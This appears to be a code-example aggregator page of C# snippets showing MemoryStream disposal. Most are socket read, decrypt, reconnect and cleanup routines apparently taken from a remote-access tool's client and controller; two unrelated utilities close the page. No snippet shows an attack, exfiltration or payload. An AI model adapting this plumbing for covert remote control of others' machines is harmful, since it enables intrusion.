示例#1
0
 public void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!ClientSocket.IsConnected || !IsConnected)
         {
             IsConnected = false;
             Dispose();
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             Dispose();
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             Dispose();
             return;
         }
     }
     catch
     {
         IsConnected = false;
         Dispose();
         return;
     }
 }
示例#2
0
 public static void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!TcpClient.Connected || !IsConnected)
         {
             IsConnected = false;
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
                         thread.Start(MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             return;
         }
     }
     catch
     {
         IsConnected = false;
         return;
     }
 }
        public static void ReadServertData(IAsyncResult Iar)
        {
            try
            {
                if (!Client.Connected)
                {
                    Connected = false;
                    return;
                }

                int Recevied = Client.EndReceive(Iar);
                if (Recevied > 0)
                {
                    if (BufferRecevied == false)
                    {
                        MS.Write(Buffer, 0, Recevied);
                        Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                        Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes  ///");
                        MS.Dispose();
                        MS = new MemoryStream();
                        if (Buffersize > 0)
                        {
                            Buffer         = new byte[Buffersize];
                            BufferRecevied = true;
                        }
                    }
                    else
                    {
                        MS.Write(Buffer, 0, Recevied);
                        if (MS.Length == Buffersize)
                        {
                            ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
                            Buffer = new byte[4];
                            MS.Dispose();
                            MS             = new MemoryStream();
                            BufferRecevied = false;
                        }
                        else
                        {
                            Buffer = new byte[Buffersize - MS.Length];
                        }
                    }
                    Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
                }
                else
                {
                    Connected = false;
                    return;
                }
            }
            catch
            {
                Connected = false;
                return;
            }
        }
示例#4
0
 public static void Reconnect()
 {
     try
     {
         Tick?.Dispose();
         SslClient?.Dispose();
         TcpClient?.Dispose();
         MS?.Dispose();
     }
     catch { }
 }
示例#5
0
 public void Dispose()
 {
     try
     {
         Tick?.Dispose();
         SslClient?.Dispose();
         Client?.Dispose();
         MS?.Dispose();
     }
     catch { }
 }
示例#6
0
 public static void Disconnected()
 {
     try
     {
         IsConnected = false;
         Tick?.Dispose();
         SslClient?.Dispose();
         TcpClient?.Dispose();
         MS?.Dispose();
     }
     catch { }
 }
 public static void Reconnect()
 {
     try
     {
         Ping?.Dispose();
         KeepAlive?.Dispose();
         SslClient?.Dispose();
         TcpClient?.Dispose();
         MS?.Dispose();
     }
     catch { }
 }
 public static void Reconnect()
 {
     try
     {
         Tick?.Dispose();
         Client?.Dispose();
         MS?.Dispose();
     }
     finally
     {
         InitializeClient();
     }
 }
示例#9
0
        public void Dispose()
        {
            IsConnected = false;

            try
            {
                TcpClient.Shutdown(SocketShutdown.Both);
            }
            catch { }

            try
            {
                Tick?.Dispose();
                SslClient?.Dispose();
                TcpClient?.Dispose();
                MS?.Dispose();
            }
            catch { }
        }
示例#10
0
        /// Cleanup everything and start to connect again.
        public static void Reconnect()
        {
            if (Client.Connected)
            {
                return;
            }

            Tick?.Dispose();

            try
            {
                Client?.Close();
                Client?.Dispose();
            }
            catch { }

            MS?.Dispose();

            InitializeClient();
        }
示例#11
0
 public void Disconnected()
 {
     if (LV != null)
     {
         if (Program.form1.listView1.InvokeRequired)
         {
             Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
             {
                 LV.Remove();
             }));
         }
     }
     Settings.Online.Remove(this);
     try
     {
         MS?.Dispose();
         Client?.Close();
         Client?.Dispose();
     }
     catch { }
 }
示例#12
0
        public async void ReadClientData(IAsyncResult ar)
        {
            try
            {
                if (!Client.Connected)
                {
                    Disconnected();
                }
                else
                {
                    int Recevied = Client.EndReceive(ar);
                    if (Recevied > 0)
                    {
                        if (BufferRecevied == false)
                        {
                            if (Buffer[0] == 0)
                            {
                                Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
                                MS.Dispose();
                                MS = new MemoryStream();
                                if (Buffersize > 0)
                                {
                                    Buffer         = new byte[Buffersize - 1];
                                    BufferRecevied = true;
                                }
                            }
                            else
                            {
                                await MS.WriteAsync(Buffer, 0, Buffer.Length);
                            }
                        }
                        else
                        {
                            await MS.WriteAsync(Buffer, 0, Recevied);

                            if (MS.Length == Buffersize)
                            {
                                // Read.BeginInvoke(this, MS.ToArray(), null, null);
                                await Task.Run(() =>
                                {
                                    HandlePacket.Read(this, MS.ToArray());
                                    Settings.Received += MS.ToArray().Length;
                                    Buffer             = new byte[1];
                                    Buffersize         = 0;
                                    MS.Dispose();
                                    MS             = new MemoryStream();
                                    BufferRecevied = false;
                                });
                            }
                            else
                            {
                                Buffer = new byte[Buffersize - MS.Length];
                            }
                        }
                        Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
                    }
                    else
                    {
                        Disconnected();
                    }
                }
            }
            catch
            {
                Disconnected();
            }
        }
        public virtual object WriteSampleObjectUsingFormatter(MediaTypeFormatter formatter, object value, Type type, MediaTypeHeaderValue mediaType)
        {
            if (formatter is null)
            {
                throw new ArgumentNullException("formatter");
            }

            if (mediaType is null)
            {
                throw new ArgumentNullException("mediaType");
            }

            object       sample  = string.Empty;
            MemoryStream MS      = null;
            HttpContent  content = null;

            try
            {
                if (formatter.CanWriteType(type))
                {
                    MS      = new MemoryStream();
                    content = new ObjectContent(type, value, formatter, mediaType);
                    formatter.WriteToStreamAsync(type, value, MS, content, null).Wait();
                    MS.Position = 0;
                    var    reader = new StreamReader(MS);
                    string serializedSampleString = reader.ReadToEnd();
                    if (mediaType.MediaType.ToUpperInvariant().Contains("XML"))
                    {
                        serializedSampleString = TryFormatXml(serializedSampleString);
                    }
                    else if (mediaType.MediaType.ToUpperInvariant().Contains("JSON"))
                    {
                        serializedSampleString = TryFormatJson(serializedSampleString);
                    }

                    sample = new TextSample(serializedSampleString);
                }
                else
                {
                    sample = new InvalidSample(string.Format(CultureInfo.CurrentCulture, "Failed to generate the sample for media type '{0}'. Cannot use formatter '{1}' to write type '{2}'.", mediaType, formatter.GetType().Name, type.Name));
                }
            }
            catch (Exception e)
            {
                sample = new InvalidSample(string.Format(CultureInfo.CurrentCulture, "An exception has occurred while using the formatter '{0}' to generate sample for media type '{1}'. Exception message: {2}", formatter.GetType().Name, mediaType.MediaType, UnwrapException(e).Message));
            }
            finally
            {
                if (MS is object)
                {
                    MS.Dispose();
                }

                if (content is object)
                {
                    content.Dispose();
                }
            }

            return(sample);
        }
示例#14
0
        /// get the length of the buffer by reading byte by byte [1]
        /// until we get the full size.
        public static void ReadServertData(IAsyncResult ar)
        {
            try
            {
                if (Client.Connected == false)
                {
                    Reconnect();
                    return;
                }

                int Recevied = Client.EndReceive(ar);

                if (Recevied > 0)
                {
                    if (BufferRecevied == false)
                    {
                        if (Buffer[0] == 0)
                        {
                            Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
                            Debug.WriteLine("///  Buffersize: " + Buffersize.ToString() + "Bytes  ///");
                            MS.Dispose();
                            MS = new MemoryStream();
                            if (Buffersize > 0)
                            {
                                Buffer         = new byte[Buffersize - 1];
                                BufferRecevied = true;
                            }
                        }
                        else
                        {
                            MS.Write(Buffer, 0, Buffer.Length);
                        }
                    }
                    else
                    {
                        MS.Write(Buffer, 0, Recevied);
                        if (MS.Length == Buffersize)
                        {
                            ThreadPool.QueueUserWorkItem(HandlePacket.Read, MS.ToArray());
                            MS.Dispose();
                            MS             = new MemoryStream();
                            Buffer         = new byte[1];
                            Buffersize     = 0;
                            BufferRecevied = false;
                        }
                        else
                        {
                            Buffer = new byte[Buffersize - MS.Length];
                        }
                    }
                    Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
                }
                else
                {
                    Reconnect();
                }
            }
            catch
            {
                Reconnect();
            }
        }
示例#15
0
        static void Main(string[] args)
        {
#if DEBUG
            args = new string[]
            {
                @"C:\Users\AyrA\Desktop\rnd\rnd_*.bin",
                @"C:\Users\AyrA\Desktop\rnd\_test.rnd"
            };
            long start = DateTime.Now.Ticks;
#endif
            if (args.Length > 1)
            {
                List <string> Source = new List <string>();
                string        Dest   = args[args.Length - 1];
                for (int i = 0; i < args.Length - 1; i++)
                {
                    if (args[i].Contains("?") || args[i].Contains("*"))
                    {
                        int len = Source.Count;
                        Source.AddRange(MaskMatch.Match(args[i], MatchType.File));
                        if (len == Source.Count)
                        {
                            Console.Error.WriteLine("Mask yielded 0 rresults: {0}", args[i]);
                            return;
                        }
                    }
                    else
                    {
                        if (File.Exists(args[i]))
                        {
                            Source.Add(args[i]);
                        }
                        else
                        {
                            Console.Error.WriteLine("Input file not found: {0}", args[i]);
                            return;
                        }
                    }
                }
                if (File.Exists(Dest))
                {
                    File.Delete(Dest);
                }
                foreach (string F in Source)
                {
                    if (!File.Exists(F))
                    {
                        Console.Error.WriteLine("Input file not found: {0}", F);
                    }
                }
                using (FileStream FS = File.Create(Dest))
                {
                    MemoryStream MS = new MemoryStream();
                    foreach (string F in Source)
                    {
                        Console.Error.WriteLine("{0} [READ]", F);
                        byte[] B = File.ReadAllBytes(F);

                        //if Position==0, do not copy but wait one more turn
                        if (MS.Position + B.Length > MAXLEN && MS.Position > 0)
                        {
                            Console.Error.WriteLine("Flushing buffer [WRITE]");
                            FS.Write(MS.ToArray(), 0, (int)MS.Position);
                            MS.Dispose();
                            MS = new MemoryStream();
                        }
                        MS.Write(B, 0, B.Length);
                    }
                    Console.Error.WriteLine("Flushing buffer [WRITE]");
                    FS.Write(MS.ToArray(), 0, (int)MS.Position);
                    MS.Dispose();
                    Console.Error.WriteLine("[DONE]");
                }
            }
#if DEBUG
            long end = DateTime.Now.Ticks;
            Console.Error.WriteLine("Execution time: {0:0.00} Seconds", new TimeSpan(end - start).TotalSeconds);
            Console.Error.WriteLine("#END");
            Console.ReadKey(true);
#endif
        }